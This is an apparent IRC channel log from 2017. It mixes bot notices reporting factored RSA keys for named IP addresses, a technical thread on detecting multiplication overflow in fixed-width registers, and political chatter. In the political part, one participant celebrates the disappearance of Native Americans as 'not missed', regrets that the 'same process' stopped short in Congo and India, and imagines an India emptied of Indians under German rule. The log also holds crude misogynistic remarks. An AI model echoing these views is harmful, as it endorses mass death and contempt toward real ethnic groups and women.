1650028;1493528996;deedbot;http://phuctor.nosuchlabs.com/gpgkey/010442599B6DF274437E6DC7462DC7D077CBF7084EE669E81BC6EAD2B9FADD8E << Recent Phuctorings. - Phuctored: 1408...6277 divides RSA Moduli belonging to '82.103.101.114 (ssh-rsa key from 82.103.101.114 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown BG)
1650029;1493528996;deedbot;http://phuctor.nosuchlabs.com/gpgkey/010442599B6DF274437E6DC7462DC7D077CBF7084EE669E81BC6EAD2B9FADD8E << Recent Phuctorings. - Phuctored: 1698...3293 divides RSA Moduli belonging to '82.103.101.114 (ssh-rsa key from 82.103.101.114 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown BG)
1650030;1493559021;asciilifeform;http://www.nugae.com/politics/index.htm << in other very olds.
1650031;1493559080;mircea_popescu;gmornin' alfie.
1650032;1493559327;asciilifeform;ohai mircea_popescu
1650033;1493559936;mircea_popescu;"In its early years the Group produced a few carefully researched papers, which the Conservative Party really had to take notice of because no-one else in the Party gave the impression of doing any thinking at all." << he's talking of the republican party in the 80s, ie, that supposed golden age of reaganism. and he's not right, either.
1650034;1493559953;mircea_popescu;truth be told it's very common for large groups of people to do ~no thinking whatsoever.
1650035;1493559984;asciilifeform;brit
1650036;1493560001;asciilifeform;i thought it was clear from the text..
1650037;1493560012;mircea_popescu;right, right.
1650038;1493560034;mircea_popescu;there's a difference across the atlantic, conservative/republican aren't ~same, so on.
1650039;1493560047;asciilifeform;( this is still the first-rsa-chip d00d from earlier thread )
1650040;1493560057;mircea_popescu;aha.
1650041;1493560081;asciilifeform;today same
1650042;1493560090;asciilifeform;but '80s also ?
1650043;1493560097;mircea_popescu;tatcher / reagan yes ?
1650044;1493560281;asciilifeform;tru
1650045;1493560380;asciilifeform;' "Poverty" as defined now (for instance, by the Child Poverty Action Group) would have been called "riches" in many earlier ages. In a similar vein, the child sex abuse industry ensures an ever growing problem and ever growing attention by redefining as sexual abuse things (such as being groped in crowds) that most people would regard as a regrettable but not catastrophic part of childhood, so that its statements about real abuse are 
1650046;1493560385;asciilifeform;lulzy.
1650047;1493560407;mircea_popescu;the woman he mentions (corinne camilleri-ferrante) died a few years back. the guardian has an empty, google spam page on her name.
1650048;1493560481;mircea_popescu;this, because she didn't keep a blog, and she didn't because, of course, http://btcbase.org/log/2017-04-29#1649870
1650049;1493560481;a111;Logged on 2017-04-29 13:29 mircea_popescu: diana_coman yes, and this is exactly my greater point here : competent people don't understand how to defend themselves from the tedx crowd, and don't. they're, basically speaking, dodo birds.
1650050;1493560553;asciilifeform;sorta why when i turn up a live dodo, i post it here.
1650051;1493560581;asciilifeform;normally it is too much to hope for, to keep dodo alive. but can at least stuff him.
1650052;1493560685;asciilifeform;'If I employ a gardener, I have to earn £3 for every £1 he can actually spend, because everything is taxed twice, first as my income, then as his.' << not only still true in today's reich, but today it'd be 10 : 1 .
1650053;1493560753;mircea_popescu;but since he mentions enoch powell : it can't be underscored enough that "what will happen when much brain power and energy are applied to a faulty premise". compare and contrast the life and times of http://trilema.com/2010/general-sir-charles-james-napier-gcb/ working for the empire with the output and stature of powell.
1650054;1493560775;mircea_popescu;asciilifeform it is verboten, in today's reich, to employ anyone.
1650055;1493560786;mircea_popescu;the state must do all the employing! kulak.
1650056;1493560819;mircea_popescu;if you employ them you might have relations with them outside of facebook (which is assault!!!) and they may be grateful or in any way develop positive feelings for you (which is abuse!!11)
1650057;1493560835;asciilifeform;for physical human to employ, at any rate, yes, quite verboten
1650058;1493560843;mircea_popescu;corruption! AND TERRORISM!
1650059;1493561039;asciilifeform;aaha. ye olde star topology, is the goal. all interactions via Great Inca strictly.
1650060;1493561206;mircea_popescu;http://www.dailymail.co.uk/news/article-3900462/It-says-need-little-sympathetic-racists-world-Row-erupts-Enoch-Powell-s-Rivers-Blood-speech-read-stage-decade-s-provocative-play.html << speaking of same powell
1650061;1493561281;mircea_popescu;http://www.enochpowell.net/fr-79.html << and the original birmingham speech, to rescue it from all the inept blather about "Rivers of blood" and whatnot socialist horde nonsense.
1650062;1493561408;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/0bWu3/?raw=true
1650063;1493561408;jhvh1;shinohai: The operation succeeded.
1650064;1493561432;shinohai;Buenas dias Sr. Popescu. asciilifeform
1650065;1493561437;mircea_popescu;hola.
1650066;1493561442;mircea_popescu;"I can already hear the chorus of execration. How dare I say such a horrible thing? How dare I stir up trouble and inflame feelings by repeating such a conversation? The answer is that I do not have the right not to do so. Here is a decent, ordinary fellow-Englishman, who in broad daylight in my own town says to me, his Member of Parliament, that this country will not be worth living in for his children. I simply do not have
1650067;1493561442;mircea_popescu;the right to shrug my shoulders and think about something else. What he is saying, thousands and hundreds of thousands are saying and thinking – not throughout Great Britain, perhaps, but in the areas that are already undergoing the total transformation to which there is no parallel in a thousand years of English history." et al.
1650068;1493561463;mircea_popescu;in other words - it's not like there wasn't ample warning. there was. the fucktards of #england failed to act in the proper manner.
1650069;1493562042;asciilifeform;every civilization gets ample warning of death. nobody cancelled death yet.
1650070;1493562061;asciilifeform;the warning does 0.
1650071;1493562080;mircea_popescu;mno. quoth :
1650072;1493562083;mircea_popescu;"That tragic and intractable phenomenon which we watch with horror on the other side of the Atlantic but which there is interwoven with the history and existence of the States itself, is coming upon us here by our own volition and our own neglect. Indeed, it has all but come. In numerical terms, it will be of American proportions long before the end of the century."
1650073;1493562100;mircea_popescu;basically, englidiots permitted their "allies" to airstrip one them.
1650074;1493562142;mircea_popescu;that's the only practical point in all of this. yes england was a piece of shit slated for the garbage heap anyway, sure. but there can not be such a thing as an ally of the us.
1650075;1493562231;asciilifeform;the 'airstripping' was naturally with help from germany.
1650076;1493562256;mircea_popescu;you mean in ww2 ?
1650077;1493562260;asciilifeform;aha
1650078;1493562297;mircea_popescu;amusingly, england would have fared a lot better if it made a humble peace with germany cca 1939, than as it did making a gaudy, and empty, alliance with the only true enemy of humanity, and human liberty.
1650079;1493562332;asciilifeform;didn't work so well for stalin
1650080;1493562345;mircea_popescu;this is true.
1650081;1493562367;mircea_popescu;but then again, zee prussians always had a higher view of englishmen than of russians.
1650082;1493562372;asciilifeform;tru
1650083;1493562388;mircea_popescu;and besides, tiny island of shit, nobody wants and nobody cares.
1650084;1493562396;asciilifeform;however peace treaties between megaempires are a lul.
1650085;1493562410;asciilifeform;britain still nominally owned, e.g., india, then.
1650086;1493562416;mircea_popescu;point being it'd have worked closer to a sort of nepal / taiwan / whatever than to a sort of north korea.
1650087;1493562443;mircea_popescu;asciilifeform yep. and with germany acquiring india the whole lebensraum thing'd have been gone out of anyone's mind.
1650088;1493562460;mircea_popescu;imagine a belgian congo the size of all india! virtually no indians left today, etc.
1650089;1493562541;asciilifeform;germans weren't so much interested in doing the congo thing, tho, initially more into roman-style 'citizen farmer' land parcelling
1650090;1493562557;mircea_popescu;aha. but i was for the sake of argument going to the outer edges of the perhaps unlikely.
1650091;1493562582;asciilifeform;aha. who the hell knows what a grown-up german empire could've been like.
1650092;1493562597;mircea_popescu;nevertheless : a whole population of redskins disappeared over a coupla centuries because, day after day and year after year, each individually made their choice : would i rather work and think, or would i rather die ? and they chose to die, and they died, AND THEY ARE NOT MISSED.
1650093;1493562614;mircea_popescu;sadly the same process was stopped short in congo, and in india, and generally.
1650094;1493562641;asciilifeform;not only stopped, but turns out it has reverse gear
1650095;1493562652;asciilifeform;and can make 'redskins' out of whoever.
1650096;1493562652;mircea_popescu;the overflow of all the "i'm too lazy to work, and i have twittering to do rather than thinking" is certainly in the way.
1650097;1493562716;mircea_popescu;but to quote napier, which is why i even linked him, "So perverse is mankind that every nationality prefers to be misgoverned by its own people than to be well ruled by another."
1650098;1493562725;mircea_popescu;obiously, he had nfi he's discussing his own country.
1650099;1493562905;mircea_popescu;anyway, this is the fundamental limit of "democracy" in ~any sense~. no sort of consultative body, no matter what kind or type, would have ever fallen on the correct solution cca 1939, which was to say to hitler "hey, you seem like a strapping young chap, tell you what, each dog must have his day says our poet. would you like india ?"
1650100;1493562941;mircea_popescu;a richard might have had, perhaps. he certainlt found the ~equivalent in the saxon-norman dispute. but no body of man ever can.
1650101;1493562995;mircea_popescu;it's an argument often found in the hands of the socialist / statist , that single men make mistakes which deliberating bodies might have avoided. this is a ridiculous argument : for every case of that there's ten thousand cases of mistakes them bodies make single men would have readily avoided.
1650102;1493564071;mircea_popescu;anyway, to get back to the history of the dodo bird : enoch did in the 1970 election about  what trump did in the 2016 election. except enoch did not get the prime minister job (same dork hath got perpetuated, by the same exact swamp for the same exact sort of reasons).
1650103;1493566201;asciilifeform;meanwhile in monkeystan, https://archive.is/f41QJ
1650104;1493566210;asciilifeform;'Barrett Brown was re-arrested and taken into custody by Bureau of Prison officials today for speaking to the media.'
1650105;1493566226;asciilifeform;^ d00d who was nailed as scapegoat for the public rape of stratfor corp
1650106;1493566239;mircea_popescu;o, right, because the criminal gang will tell you what to say.
1650107;1493566278;asciilifeform;schmuck did, after being promised 100 yr (yes) sentence, sign 'plea deal'
1650108;1493566299;mircea_popescu;heh. according to whom, this ? he can't talk to "the media".
1650109;1493566320;asciilifeform;according, apparently, to the inquisitor in charge of subj.
1650110;1493566326;mircea_popescu;if i kidnap your sister and say she's signed marriage contract which is why you can't see her no more, your inference is what exactly ?
1650111;1493566360;asciilifeform;in the reich with seekrit laws (yes), who is surprised by 'secret plea deal' conditions.
1650112;1493566384;mircea_popescu;i can't deem the instrument valid, no matter what the (known terrorists) say.
1650113;1493566470;asciilifeform;see also buharin et al's 'confession' .
1650114;1493566963;mircea_popescu;eh, dude got shipped to paris young slut in tow. utterly asking for it.
1650115;1493567101;asciilifeform;in retrospect ~everybody 'was asking for it'
1650116;1493567105;asciilifeform;always.
1650117;1493567284;mircea_popescu;so this barrett brown, was he sent with... whatever, pick a 20yo slightly slack-jawed beauty to beijing, whence he returned to the us "because he can't live outside of the great satan" ?
1650118;1493567384;mircea_popescu;(incidentally, he was very popular with xiaoping, who was 30 at the time. why was he not in #china ?)
1650119;1493567551;asciilifeform;afaik was sent nowhere.
1650120;1493567588;mircea_popescu;no, no, bukharin got sent to buy the marx archives from the french socialists.
1650121;1493567604;asciilifeform;ah him -- yes
1650122;1493567608;asciilifeform;https://archive.is/Q7wOv << see also re brown
1650123;1493567613;mircea_popescu;with anna what's her name.
1650124;1493567618;asciilifeform;'“The prosecutor said one thing that was accurate—that I don’t have respect for the laws in this country,” he told TIME. “We have a situation in which the only way we can survive as a free nation is if our laws are not enforced.”'
1650125;1493567637;mircea_popescu;lol, sops got butthurt ?
1650126;1493567661;asciilifeform;was condemned for ... posting a link.
1650127;1493567682;mircea_popescu;sounds about right for the usg.
1650128;1493567693;mircea_popescu;to briefly revisit kochanski, "I was subsequently elected to the post of Research Secretary of the Bow Group, which meant that I was the general editor of its published papers from 1989 to 1990. My abiding impression of the foothills of the Conservative Party at the time is of a world where people eyed their friends suspiciously and if they saw signs of possible talent then they knifed them before they became a danger.  Perha
1650129;1493567693;mircea_popescu;ps things were always thus; but there is a particular danger when a party has had too much power for too long: its members cannot compete to attack the enemy so they attack each other instead.  If future commentators identify a "missing generation" of politicians who were in their twenties during the Thatcher years, this will have been the cause."
1650130;1493567952;mircea_popescu;from the monkeystan link : "Ms. Luz Lujan, his BOP contact, refused to provide him with copies of program statement rules". but ofcoars. and "ms" luz lujan is going to do no time for this, because hey, good soviet.
1650131;1493567977;asciilifeform;noshit.jpg
1650132;1493568002;mircea_popescu;the pretense to be taken seriously is so fucking lulzy by now. i expect next is a shoe banging moment, yes ?
1650133;1493568085;mircea_popescu;”The U.S. government decided today that because I did such a good job investigating the cyber-industrial complex, they’re now going to send me to investigate the prison-industrial complex,” he said, thanking the government for providing “free food, clothes and housing as I seek to expose wrongdoing by the Bureau of Prisons officials and staff and otherwise report on news and culture in the world’s greatest prison sy
1650134;1493568086;mircea_popescu;stem.”
1650135;1493568093;mircea_popescu;apparently i'm not the last to make this point, huh.
1650136;1493568150;asciilifeform;afaik fella did not go on to write the next 'gulag archipelag', no.
1650137;1493568170;mircea_popescu;he has time. s took 20 years or what.
1650138;1493568172;mircea_popescu;this was 2015.
1650139;1493568204;asciilifeform;the genre isn't exactly fresh, or inexhaustible, either.
1650140;1493568215;mircea_popescu;at any rate -- it is worth pointing out that the original "charges" proferred by the sops terrorist organisation were dropped ; the current "sentence" stems from posturing around a youtube video the guy made discussing said "charges".
1650141;1493568246;mircea_popescu;which is a perverse sort of reminder : taking the usg seriously, IN ANY WAY, is what the usg lives off if.
1650142;1493568247;mircea_popescu;of*
1650143;1493568251;asciilifeform;iirc d00d did something or other while on dope, that was later spun as 'threat to public official'
1650144;1493568290;asciilifeform;( not everybody is lucky, like adlai et al, and merely gets put in asylum )
1650145;1493568309;mircea_popescu;not somebody is an imbecile, like adlai et al, to actually dose themselves.
1650146;1493568425;asciilifeform;not even certain that this is a 'morality' tale re dope -- there are 'genius' who behave this way even sans dope.
1650147;1493568448;asciilifeform;'stotting'
1650148;1493568448;mircea_popescu;we'll talk of them when we run into them.
1650149;1493568552;mircea_popescu;in other lulz, le pen has a lengthy list of other-provinces-generals to name in various places once she wins. such roman empire.
1650150;1493568585;mircea_popescu;!~google dupont-aignan
1650151;1493568587;jhvh1;mircea_popescu: Nicolas Dupont - Aignan - Wikipedia: ; N. Dupont - Aignan (@ dupontaignan ) | Twitter: ; France election: Marine Le Pen would make Dupont - Aignan PM - BBC: 
1650152;1493569258;mircea_popescu;o check it out, github has a "pricing" tab i never noticed before. $9 per user per month ? really ?
1650153;1493569271;asciilifeform;mircea_popescu: it's how they always worked
1650154;1493569279;asciilifeform;paid hosting thing
1650155;1493569292;asciilifeform;( the phree hosting is for public material strictly )
1650156;1493569304;mircea_popescu;see, bukharin who idiotically will not go to china to hang out with a 30yo deng xiaoping also pays $9 a month "for his team" to github.
1650157;1493569317;mircea_popescu;it's not just passive stupid. it's organizedly and layeredly stupid
1650158;1493569360;asciilifeform;it's the same story as email hosters etc
1650159;1493569361;mircea_popescu;anyway, i invited steve arnold aka sarnold over ; plox to voice / explain how to register his key if i'm not around.
1650160;1493569384;asciilifeform;whossat
1650161;1493569439;mircea_popescu;graybeard, perhaps not entirely objectionable. ~the iota of value in the whole pile of idiotic kids trying to bypass mp's "talking about bitcoin doesn['t make you part of bitcoin" by hanging out in ##crypto and pretending like they know maffs.
1650162;1493569468;mircea_popescu;https://www.vctlabs.com/ also.
1650163;1493569510;asciilifeform;looks vaguely familiar
1650164;1493569621;asciilifeform;http://12000.org/my_notes/ada/index.htm << linked via subj's www. potentially handy.
1650165;1493569651;mircea_popescu;conceivably he might also explain how to make a gentoo that works, and in the process of trying find out a few things for himself.
1650166;1493569688;asciilifeform;that'd be something.
1650167;1493570266;asciilifeform;!~later tell phf if you are still working on the puzzle : it is my current understanding that no clean detection of multiply-overflow (when operands and result are all N-bit registers of same N-arity) is possible...
1650168;1493570266;jhvh1;asciilifeform: The operation succeeded.
1650169;1493570303;asciilifeform;^ if anyone thinks otherwise, please write in!
1650170;1493570582;asciilifeform;seems like the only guaranteed solutions are either to trial-divide every time (eat 2x the space and 2x the time!) or to keep around 'behind the scenes' 2x the nominal register, so as to have where to overflow into, and then test it for zero (2x the space, and 2x the time ! just like the other 'solution')
1650171;1493570626;asciilifeform;somewhat surprisingly , nothing else works.
1650172;1493570627;mircea_popescu;ahem ? if the product of the leading q bits isn't equal to the leading q bits of the result, you have overflow.
1650173;1493570648;asciilifeform;mircea_popescu: expand
1650174;1493570650;mircea_popescu;85 * 97 overflew if the result is not led by a 7.
1650175;1493570766;asciilifeform;there's no 7 in 8245...
1650176;1493570788;mircea_popescu;1100001×1010101 = 10000000110101 nevertheless.
1650177;1493570832;asciilifeform;i'm thick, explain which op would demonstrate the overflow here.
1650178;1493570853;mircea_popescu;i thought this was the reason computers EVEN USE binary in the first place.
1650179;1493570856;asciilifeform;the leading N bits will not be same as product of leading whichevers. because carry.
1650180;1493570878;mircea_popescu;asciilifeform isn't it the case that if the result was 0-led you'd know the product had overflown ?
1650181;1493570900;asciilifeform;nope.
1650182;1493570905;mircea_popescu;1x * 1y will never result in a 0y no matter what happens!
1650183;1493571005;asciilifeform;1xx * 0 = 0 .
1650184;1493571005;mircea_popescu;to put it another way, two N-bit items muliplied so they yield a M bit result, where M < N, overflowed the buffer.
1650185;1493571020;asciilifeform;mircea_popescu: this only works for addition.
1650186;1493571021;mircea_popescu;hey, you said same N-arity!
1650187;1493571033;asciilifeform;0 is 0000...000 for our case.
1650188;1493571034;asciilifeform;same arity.
1650189;1493571038;mircea_popescu;tsk.
1650190;1493571061;mircea_popescu;then we refine :
1650191;1493571062;asciilifeform;i thought it was clear that thread is about fixed-register arithmetics.
1650192;1493571088;mircea_popescu;if two numbers of lengths l1 and l2, with l1 and l2 < N are multiplied, and the result is less than l1+l2 bits long, then it has overflown.
1650193;1493571115;mircea_popescu;the l of "000000" is 0 for this purpose.
1650194;1493571145;asciilifeform;the result is always N bits long, fixed N. what we want to know is whether it actually represents x1*x2.
1650195;1493571151;asciilifeform;or we lost the high bits.
1650196;1493571163;mircea_popescu;if l1 of x1 added to the l2 of x2 exceeds N then it doesn't represent x1 * x2
1650197;1493571179;asciilifeform;mircea_popescu's statement is true but doesn't help, because we do not have an elastic register to represent the arity of the mult result.
1650198;1493571181;asciilifeform;we instead have fixed one.
1650199;1493571187;mircea_popescu;we could count...
1650200;1493571190;asciilifeform;nope.
1650201;1493571194;asciilifeform;because again, fixed register.
1650202;1493571201;mircea_popescu;you can't tell me how many leading zeros x1 has ?
1650203;1493571231;asciilifeform;can. and l2.
1650204;1493571245;mircea_popescu;so then. if these two added together are less than N you've lost some high bits.
1650205;1493571286;asciilifeform;less than N, or less than leadingzeros(N) ?
1650206;1493571365;mircea_popescu;for convenience, consider 16 bit registers : 8245×8 = 65960 which overflows. you know this because 0010000000110101 x 0000000000001000 ie 2 + 12 = 14 which is < 16.
1650207;1493571638;deedbot;http://phuctor.nosuchlabs.com/gpgkey/53C6B99375383B7B79B64399F7B2E611F9C2E5ED90FA79C25279DF1C348297B1 << Recent Phuctorings. - Phuctored: 1545...6329 divides RSA Moduli belonging to '155.253.6.47 (ssh-rsa key from 155.253.6.47 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown IT 25 MI)
1650208;1493571638;deedbot;http://phuctor.nosuchlabs.com/gpgkey/53C6B99375383B7B79B64399F7B2E611F9C2E5ED90FA79C25279DF1C348297B1 << Recent Phuctorings. - Phuctored: 1657...5419 divides RSA Moduli belonging to '155.253.6.47 (ssh-rsa key from 155.253.6.47 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown IT 25 MI)
1650209;1493571663;mircea_popescu;meanwhile 255 * 255 does not overflow ; you know this because 8 + 8 is not < 16.
1650210;1493571669;asciilifeform;mircea_popescu: let's, for simplicity, take 3bit regs :
1650211;1493571680;asciilifeform;101 * 010  =  001010  (we end up with 010 )
1650212;1493571703;asciilifeform;the leading zeros of x1, x2, and result, are 0, 1, 1 respectively.
1650213;1493571709;mircea_popescu;we also notice that 0 +1 = 1 which being < 3 we lost bits.
1650214;1493571713;mircea_popescu;3 being N, arity.
1650215;1493571826;asciilifeform;hmm i see where mircea_popescu is going
1650216;1493571833;asciilifeform;this is still pretty expensive op tho.
1650217;1493571836;asciilifeform;to do on every mul.
1650218;1493571864;mircea_popescu;well... that may be, but you asked.
1650219;1493571930;mircea_popescu;anyway, as i said : i thought ~this~ is why computers even use binary in the first place.
1650220;1493572106;pete_dushenski;shinohai: there ain't no happening like an unhappening. just priceless.
1650221;1493572162;mircea_popescu;shinohai during ITS first review.
1650222;1493572276;asciilifeform;111 * 001 = 111   ( 0, 2, 0 leading 0s )  no overflow...
1650223;1493572294;asciilifeform;this test only works in one direction
1650224;1493572302;asciilifeform;rather than 'iff'
1650225;1493572339;mircea_popescu;asciilifeform you will have to consider the parity of the two items to decide if you go by N or N-1.
1650226;1493572385;asciilifeform;mircea_popescu: wouldja spare a few min and plox write down algo ?
1650227;1493572400;asciilifeform;takes, say, 2 3bit nums, and tells if mul will overflow.
1650228;1493572401;mircea_popescu;alrighty, this is turning out to be more interesting than i thought.
1650229;1493572473;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/4jCKm/?raw=true << a mult table, for convenience .
1650230;1493572564;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/T5NY9/?raw=true << same, for 2bit.
1650231;1493572637;asciilifeform;( http://wotpaste.cascadianhacker.com/pastes/RjlFl/?raw=true << same, for 4. in case handy. )
1650232;1493572666;*;asciilifeform bbl.
1650233;1493573324;mats;https://i.imgur.com/ozC5uTx.jpg 10/10 troll
1650234;1493573674;pete_dushenski;"Oxford University has apologised for saying that avoiding eye contact could be "everyday racism" after it was accused of discriminating against autistic people." << in other british sads that i can only wish were trolls.
1650235;1493574237;mircea_popescu;hey, the whole point of even buying tickets at the Decaying Empires show is to watch special interest groupas gfoing at each other.
1650236;1493574314;mircea_popescu;asciilifeform http://wotpaste.cascadianhacker.com/pastes/eBqC2/?raw=true << best i got
1650237;1493574421;mircea_popescu;mats i'm pleased to see trilema moved teh overton window so.
1650238;1493574853;pete_dushenski;lol speaking of special interests going at each other, "She’s the Alternative for Germany’s new co-frontrunner despite a great divergence from the party’s typically conservative, xenophobic portrait. Alice Weidel, an openly gay economist, was nominated as the anti-immigrant, far-right party’s chief candidate on Sunday, set to run alongside AfD co-founder Alexander Gauland in September’s federal
1650239;1493574855;pete_dushenski;elections."
1650240;1493576079;asciilifeform;mircea_popescu: 'l1 + l2 < N - 1, the product of a and b will always overflow N.' << didja mean > rather than < ?
1650241;1493576099;asciilifeform;or hm
1650242;1493577024;asciilifeform;'If l1 + l2 > N-1, the product of a and b can never overflow N.' is true. 'If l1 + l2 < N - 1, the product of a and b will always overflow N.' is also true.
1650243;1493577035;asciilifeform;however this takes us only in 1 direction.
1650244;1493577074;asciilifeform;take, e.g., these 4-bit cases:
1650245;1493577127;asciilifeform;0011 ( 2 ) * 0110 ( 1 )  =  00010010 = 0001 : 0010 ( 3 )
1650246;1493577140;asciilifeform;0011 ( 2 ) * 0111 ( 1 )  =  00010101 = 0001 : 0101 ( 3 )
1650247;1493577151;asciilifeform;( parens have leading zeros count, for convenience )
1650248;1493577186;asciilifeform;these 2 cases overflow, but the fact does not trivially flow from mircea_popescu's equation, you do not know that they will do so by counting the leading 0s
1650249;1493577249;asciilifeform;now let's do mircea_popescu's third statement:
1650250;1493577260;asciilifeform;'If l1 + l2 = N-1 let a' be equal to a with its leading 1 set to 0, let b' be equal to b with its leading 1 set to 0, let N' = N - 1 and apply the same algorithm.' << the problem with this is that it reduces to actually DOING THE MULT
1650251;1493577282;asciilifeform;so in the end we have nodice.
1650252;1493577535;asciilifeform;and incidentally the given formulation doesn't work, take the first case, 0011*0110 . it turns into 001*010 = 010. the result (N-1 = 3) has 1 leading zero. no overflow. apply recurse again, we get 00*00 -- definitely no overflow, and no moar leading 1s to flip...
1650253;1493578700;asciilifeform;http://ieeexplore.ieee.org/document/863038 << paywalled. anybody got a copy ?
1650254;1493578714;asciilifeform;'This paper presents efficient methods for performing unsigned or two's complement integer multiplication with overflow detection or saturation. ' supposedly.
1650255;1493578746;asciilifeform;apparently this is a bona fide unsolved problem.
1650256;1493578761;asciilifeform;however i've also not turned up a rigorous proof that it is unsolvable. which is bothersome imho.
1650257;1493579052;asciilifeform;let's formalize the problem statement. N is integer, N>1 . x, y are int, 0 <= x < 2^N; 0 <= y < 2^N.  determine an f, such that f(x,y) is true iff x*y >= 2^2N ; such that complexity of f is less than that of * operation.
1650258;1493579195;asciilifeform;for my purposes i could entirely do with a constant-time-and-space mult algo that knows when to set the overflow flag.
1650259;1493579448;asciilifeform;keep in mind that 'double the available register width' IS NOT A SOLUTION !!
1650260;1493579467;asciilifeform;( it is how the problem is 'solved' on all known hardware ALUs )
1650261;1493579695;asciilifeform;i'll review, for the l0gz, the 'ancient egyptian' mult algo, which is the simplest practical, and illustrative of the difficulty of determining overflow ~while doing the mult~ in fixed space.
1650262;1493579865;asciilifeform;you take multiplicands x, y, and accumulator a (initially 0) , and do :   while y!=0: { if odd(y): { a += x } ; x <= x*2; y <= y/2 } .
1650263;1493579881;asciilifeform;so for concrete case, 0011 * 0110 :
1650264;1493579897;asciilifeform;0011 , 0110 (do nothing)
1650265;1493579925;asciilifeform;0110 , 0011 (a += 0110)
1650266;1493579942;asciilifeform;1100 , 0001 (a += 1100)
1650267;1493579956;asciilifeform;1000 , 0000 (do nothing, and we stop.)
1650268;1493579999;asciilifeform;in this case, detecting overflow simply during the addition stage, works : 0110 + 1100 sets the carry , because result is 10010.
1650269;1493580005;asciilifeform;but in other cases, you cannot do this:
1650270;1493580042;asciilifeform;say, 1000 * 0010 . ( i won't clutter the log with the steps, will leave as exercise. )
1650271;1493580216;asciilifeform;hmmm
1650272;1493580221;asciilifeform;one algo suggests itself :
1650273;1493580323;asciilifeform;when the left shifter ( x ) overflows for the first time, we set a bit, q, and clear another, r. r is set whenever right-shifter (y) overflows. now : if r is set again subsequently to q being set -- it means we overflow.
1650274;1493580432;asciilifeform;this here seems like the finalsolution, folx.
1650275;1493580437;asciilifeform;now all that remains is to prove...
1650276;1493580438;*;asciilifeform bbl.
1650277;1493582225;ben_vulpes;http://btcbase.org/log/2017-04-29#1649816 << i do not; good q. i'll find out.
1650278;1493582225;a111;Logged on 2017-04-29 05:56 mircea_popescu: ben_vulpes whart's the difference between auto_ptr and unique_ptr, dja know ?
1650279;1493582686;diana_coman;asciilifeform, a search for that thing turned out what seems to be the MSc thesis behind it if that's any help
1650280;1493583035;diana_coman;actually I found the paper too meanwhile, ping me
1650281;1493584910;mircea_popescu;asciilifeform the only practical use may be that it's perhaps cheaper to count l's to exclude unoverflowing mults and then appl ythe double reg mult to the remainder, than to apply the double reg mult uniformly throughout.
1650282;1493585395;asciilifeform;mircea_popescu: see thread - i solved the general case. maybe oughta demand master degree nao, lol.
1650283;1493585457;mircea_popescu;double carry ? this sounds eerily familiar in retrospect.
1650284;1493585591;mircea_popescu;ben_vulpes at least theoretically auto_ptr was the standard replacement for unique_ptr, with the difference that it can also be copied, not just moved. so in point of fact plain replacement of one for the other is bound to cause grief.
1650285;1493585647;mircea_popescu;(i said them backwards. auto is the old one.)
1650286;1493585767;mircea_popescu;https://herbsutter.com/2013/05/29/gotw-89-solution-smart-pointers/ << story.
1650287;1493585923;mircea_popescu;("fixing errors you didn't know you had" in his sendoff is of course very welcome for SVtards / webshit and utter poison for stuff like bitcoin)
1650288;1493588021;mod6;mircea_popescu, asciilifeform, et. al: Third FG, first run of entropy collection & testing of `ent` && `dieharder` complete: http://www.mod6.net/fg/fg-test/fg3.ent_run1.txt  http://www.mod6.net/fg/fg-test/fg3.dieharder_run1.txt
1650289;1493588777;asciilifeform;neato mod6
1650290;1493589003;asciilifeform;and diana_coman holy SHIT is that method 1001x moar complicated than mine.
1650291;1493589040;asciilifeform;now, granted, it's about parallel multers
1650292;1493589045;asciilifeform;but even so.
1650293;1493589140;asciilifeform;mircea_popescu: 'smart pointers' lol. familiar to cpp users. imho this type of 'automation' helps no one.
1650294;1493589439;deedbot;http://qntra.net/2017/04/post-production-to-ransom-to-torrent-pipeline-growing/ << Qntra - Post Production To Ransom To Torrent Pipeline Growing
1650295;1493589780;shinohai;ty BingoBoingo
1650296;1493589844;BingoBoingo;ty shinohai
1650297;1493590038;shinohai;lol I haven't browsed reddit in so long I didn't realize there is a whole new subreddit dedicated to mETH fraud: https://www.reddit.com/r/ethereumfraud/
1650298;1493590093;asciilifeform;!~later tell phf http://wotpaste.cascadianhacker.com/pastes/DqmQw/?raw=true
1650299;1493590093;jhvh1;asciilifeform: The operation succeeded.
1650300;1493590135;asciilifeform;^ draft. still needs proof-of-workage.
1650301;1493590218;asciilifeform;mircea_popescu ^ runs in SAME space, and same order of complexity , as the old routine...
1650302;1493593828;mircea_popescu;nice.
1650303;1493593837;mircea_popescu;asciilifeform write a blog post ; then reference it from code commetns.
1650304;1493594191;asciilifeform;mircea_popescu: i gotta come up with proper proof...
1650305;1493594257;asciilifeform;( as for code -- in the end it mist be entirely self-contained. and provably correct. it's a backbone for, e.g., 'tmsr rsa', 'p', eventually gossipd, etc. )
1650306;1493594263;asciilifeform;*must be
1650307;1493594333;asciilifeform;'reactor-grade'. i.e. no doubt whatsoever must remain re whether it works as intended.
1650308;1493594356;mircea_popescu;so make blog post.
1650309;1493594386;asciilifeform;whole thing will be , eventually, proper article on my www.
1650310;1493594398;asciilifeform;( code + commentary, genesis. )
1650311;1493594401;mircea_popescu;aite.
1650312;1493594406;mircea_popescu;what whole thing ?
1650313;1493594412;asciilifeform;P.
1650314;1493594418;mircea_popescu;holy shit you're stuborn.
1650315;1493594422;mircea_popescu;make blog post re the above.
1650316;1493594555;asciilifeform;incidentally it annoys asciilifeform that ada ( or for that matter any other procedural lang) offers no way to unroll the loops
1650317;1493594581;asciilifeform;if loops were unrolled, you could have not merely a non-branchingonsecrets rsatron, but wholly nonbranching !
1650318;1493594626;mircea_popescu;asm allows.
1650319;1493594642;asciilifeform;only if you admit self-modifying code.
1650320;1493594668;mircea_popescu;there is that.
1650321;1493594682;asciilifeform;( won't run from rom ! )
1650322;1493594810;asciilifeform;also irritating is the fact that, while we have constant-time routines, it is impossible to guarantee constant-current (yes)
